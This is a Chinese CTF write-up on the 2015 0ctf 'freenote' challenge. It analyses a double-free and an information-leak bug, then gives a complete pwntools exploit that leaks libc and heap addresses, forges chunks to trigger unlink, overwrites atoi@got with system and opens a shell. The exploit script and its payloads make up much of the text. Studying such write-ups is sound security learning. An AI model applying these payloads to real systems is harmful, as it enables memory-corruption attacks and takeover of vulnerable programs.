菜鸡的 Pwn 05 0ctf freenote


菜鸡的 Pwn 05 0ctf freenote

D5

一.前言

例子是来自于 2015 0ctf 的 freenote,本题的利用方式大概是 double free 触发 unlink 改写相关地址取得 shell。

二.分析过程

惯例,首先优化伪代码,笔者将代码优化为:
image

程序的大致逻辑:

  1. 输入 1 可以输出当前所有 note 的内容。
  2. 输入 2 可以新建一个 note ,注意这里限制了 note 的大小,最小为 128 个字节:
    image
  3. 输入 3 可以修改某个 note 的内容,依旧限制了大小,并且如果新指定的大小超出了分配时的大小,程序会调用 realloc 进行扩容。
    image
  4. 输入 4 可以删除某个 note。
  5. 输入 5 退出程序。
    通过阅读伪代码,发现 note 是由一个结构体定义的,大致结构是:
    1
    2
    3
    4
    5
    struce note{
    int is_free;
    int length;
    char* chunk;
    }

此外还有一个全局的指针指向了某个堆空间,这个堆空间存储了所有新建的 note 结构体:
image
大致结构为:
image

本题存在一处漏洞,一处设计不严谨的地方,其中漏洞在 delete 函数中,在 free 某个堆块后没有清空指针,并且,其他函数均对 is_free 成员进行了验证(防止操作悬挂指针),但是这个函数没有进行验证,直接调用了 free,导致我们可以尝试 double free
image
另一处不严谨的位置在子函数 read_note 中,读取一个字符串后,没有将最后一位赋空,即缺少结束符,可能造成信息泄露
image

三.攻击思路

到目前为止,我们已经找到了两个漏洞

  1. free 后没有清空指针,可能导致 double free。
  2. 读取 note 内容后没有对字符串增加结束符,可能导致信息泄露。

首先可以尝试泄露地址,由于可申请的最小大小为 0x80(small bin’s chunk),考察这种堆块的特性,在 free 之后,会先进入 unsorted bin 中,并且堆块中会存在 fd 和 bk 指针。分配相同大小的堆块,内核会把这个堆块再次分配回来,结合读取内容时缺少结束符,通过 list 函数可以输出 bk 指针,泄露出 main_arena 的地址。
image
由于 main_arena 与 libc 之间的偏移是固定的,所以可以计算出 libc 的基址。
同样的,如果 free 两个堆块(这两个堆块不相邻,不会发生合并),那么第一个进入 unsorted bin 中的堆块的 bk 指针就会指向第二个堆块,那么我们可以借此泄露出第二个堆块的地址,由于固定的偏移,可以进一步推算出全局指针。

泄露 libc 的地址后,可以加载给出的 libc 文件取得必要的函数地址,泄露 heap 地址后,在 double free 触发 unlink 过程中就可以构建 fd 和 bk 指针了。
所以接下来的思路就是想办法去构造 double free 的环境,然后触发 unlink 改写堆块地址,进一步修改系统函数。
本题基本上都是一些常规操作,但是要特别注意的是相邻堆块合并的问题,我们需要控制好两个堆块是否合并,何时合并等等。
按照以下步骤操作:

  1. 新建两个堆块,记为 chunk0 和 chunk1(chunk1 的作用是防止 chunk0 与 top chunk 合并)
  2. free 掉 chunk0 ,这时 chunk0 已经进入到 unsorted bin 中,并且 fd 和 bk 指向 main_arena。
  3. 新建一个大小和 chunk0 相同的堆块,这时内核会把 chunk0 重新分配回来,我们填入 8 个字节的数据。
  4. 调用 list 函数,在 0 号堆块中可以取得 main_arena 的地址。
  5. 通过调试找出偏移量,计算出 libc 的基址。
  6. 清除之前的所有堆块,新建 4 个堆块,记为 chunk0 ~ 3(chunk1 和 chunk3 的作用是防止堆块过度合并)。
  7. free chunk0 和 chunk2,此时 unsorted bin 中存在两个堆块,并且后一个堆块的 bk 指针指向前一个堆块。
  8. 新建一个大小相同的堆块,内核会将之前的 chunk 0 分配回来,填入 8 个字节的数据。
  9. 再次调用 list 函数,在 chunk0 中可以取得 chunk2 的地址。
  10. 通过调试得到偏移量,计算出全局指针的内容(heap 地址)。
  11. 加载给出的 libc ,确定 system、/bin/sh、以及 atoi@got 的地址。
    至此我们已经得到了必要的地址,接下来开始构造 double free 环境。
  12. 清空所有堆块,新建 3 个堆块,记为 chunk0 ~ 2
  13. free 掉这三个堆块,再新建一个堆块,大小为三个堆块之和。
  14. 在新建的堆块中伪造相关结构,笔者采用的 payload 为(具体结构大家可以自行调试):
    1
    2
    payload = p64(0) + p64(0x81) + p64(global_pointer + 32 - 24) + p64(global_pointer + 32 - 16) + 'a' * 0x60
    payload += p64(0x80) + p64(0x80 + 0x10) + '1' * 0x80 + p64(0) + p64(0x80 + 0x11) + '\x00' * 0x60 # length = 0x180

注意我们伪造的第三个堆块的作用是防止过度合并。

  1. free 掉 chunk1,这时会触发 unlink,导致 chunk0 的指针被改写为 global + 8。
  2. 调用 edit ,修改 chunk0 ,实际上修改的是 global + 8 开始的位置,笔者采用的 payload 为:

    1
    payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr) + '2' * (0x180 - 24)
  3. 再次调用 edit ,修改 chunk0,就可以经 atoi 函数的地址修改为 system 函数的地址,笔者采用的 payload :

    1
    payload3 = p64(system_addr)
  4. 现在 atoi 函数已经是 system 函数了,我们只需要将 /bin/sh 的地址传入即可获取 shell。

image

四.完整EXP

必要的注释已经以 log 形式写入脚本,大家可以自行调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *
import time

#context(log_level="DEBUG")
def add(length, content):
p.sendline("2")
p.recvuntil("Length of new note: ")
p.sendline(str(length))
p.recvuntil("Enter your note: ")
p.sendline(content)
p.recvuntil("Your choice: ")

def edit(index, length, content):
p.sendline("3")
p.recvuntil("Note number: ")
p.sendline(str(index))
p.recvuntil("Length of note: ")
p.sendline(str(length))
p.recvuntil("Enter your note: ")
p.sendline(content)
p.recvuntil("Your choice: ")

def delete(index):
p.sendline("4")
p.recvuntil("Note number: ")
p.sendline(str(index))
p.recvuntil("Your choice: ")


elf = ELF("./freenote")
libc = ELF("./libc-2.23.so")
p = process("./freenote")
p.recvuntil("Your choice: ")
log.info("First we need to leak some address.")
log.info("=================Leaking libc address first...=================")
log.info("malloc two chunks...")
time.sleep(1)
add(8, 'a' * 8)
add(8, 'b' * 8)
log.info("Delete chunk0...")
time.sleep(1)
delete(0)
log.info("malloc a same size chunk...")
time.sleep(1)
add(8, 'a' * 8)
log.info("Now we print content in chunk0...")
time.sleep(1)
p.sendline("1")
p.recvuntil("0. aaaaaaaa")
mainarena_addr = u64(p.recv(6) + '\x00\x00')
log.success("main_arena's address: 0x%x" % mainarena_addr)
libc_addr = mainarena_addr - 0x3c4b78
log.success("Libc address : 0x%x" % libc_addr)
time.sleep(1)
log.info("Recovering heap struct...")
time.sleep(1)
delete(0)
delete(1)

log.info("=================Leaking heap address...=================")
time.sleep(1)
log.info("malloc four chunks first.")
time.sleep(1)
add(8, 'a' * 8)
add(8, 'b' * 8)
add(8, 'c' * 8)
add(8, 'd' * 8)
log.info("Delete chunk0 and chunk2.")
time.sleep(1)
delete(0)
delete(2)
log.info("malloc a new chunk...")
time.sleep(1)
add(8, 'e' * 8)
p.sendline("1")
p.recvuntil("0. eeeeeeee")
chunk0_addr = u64(p.recvuntil("\n")[:-1].ljust(8, '\x00'))
log.success("Chunk0's address : 0x%x" % chunk0_addr)
global_pointer = chunk0_addr - 0x1930
log.success("Global_pointer address : 0x%x" % global_pointer)
log.info("Recovering heap struct...")
time.sleep(1)
delete(0)
delete(1)
delete(3)

log.info("Finding functions in libc...")
system_addr = libc.symbols["system"] + libc_addr
binsh_addr = libc.search("/bin/sh").next() + libc_addr
atoi_addr = elf.got["atoi"]
log.success("System address : 0x%x" % system_addr)
log.success("/bin/sh address : 0x%x" % binsh_addr)
log.success("Atoi@got address : 0x%x" % atoi_addr)

log.info("Creating 3 chunks...")
time.sleep(1)
add(128, 'a' * 127)
add(128, 'b' * 127)
add(128, 'c' * 127)
log.info("Deleting them...")
time.sleep(1)
delete(2)
delete(1)
delete(0)
log.info("Now create a new chunk , new chunk's size is chunk0 + chunk1 + chunk2")
log.info("So we can get a pointer whitch points to a bigger chunk include chunk0 chunk1 and chunk2.")
log.info("Notice that when we free the fake chunk , kernel will extend both side.")
time.sleep(1)
payload = p64(0) + p64(0x81) + p64(global_pointer + 32 - 24) + p64(global_pointer + 32 - 16) + 'a' * 0x60
payload += p64(0x80) + p64(0x80 + 0x10) + '1' * 0x80 + p64(0) + p64(0x80 + 0x11) + '\x00' * 0x60 # length = 0x180
log.info("Sending payload...")
time.sleep(1)
add(len(payload), payload)
log.info("Deleting chunk1, use unlink.")
time.sleep(1)
delete(1)
log.info("Chunk0's pointer has been changed to global [pointer + 8]")
time.sleep(1)
log.info("Build another payload...")
time.sleep(1)
payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr) + '2' * (0x180 - 24)
log.info("Sending payload, we can change chunk0's pointer to atoi@got...")
time.sleep(1)
edit(0, 0x180, payload2)
log.info("Building payload and send it ,so we can change atoi to system!")
time.sleep(1)
payload3 = p64(system_addr)
edit(0, 8, payload3)
log.info("Sending /bin/sh's address to atoi aka system.")
time.sleep(1)
p.sendline(p64(binsh_addr))
log.info("Wait for 5 seconds...")
time.sleep(5)
log.success("PWN!!")
p.interactive()

五.修复方案

本例的主要漏洞在于 free 后没有清空堆块指针,导致了 double free,另一个设计上的失误在于读取字符串后忘记增加结束标记,导致信息泄露。
简单的修复方法是 nop 掉 free 函数,然后再考虑细致修复。
nop 掉 free 之后,脚本运行到一定程度就会报错:
image
原因是泄露的地址是不对的。
image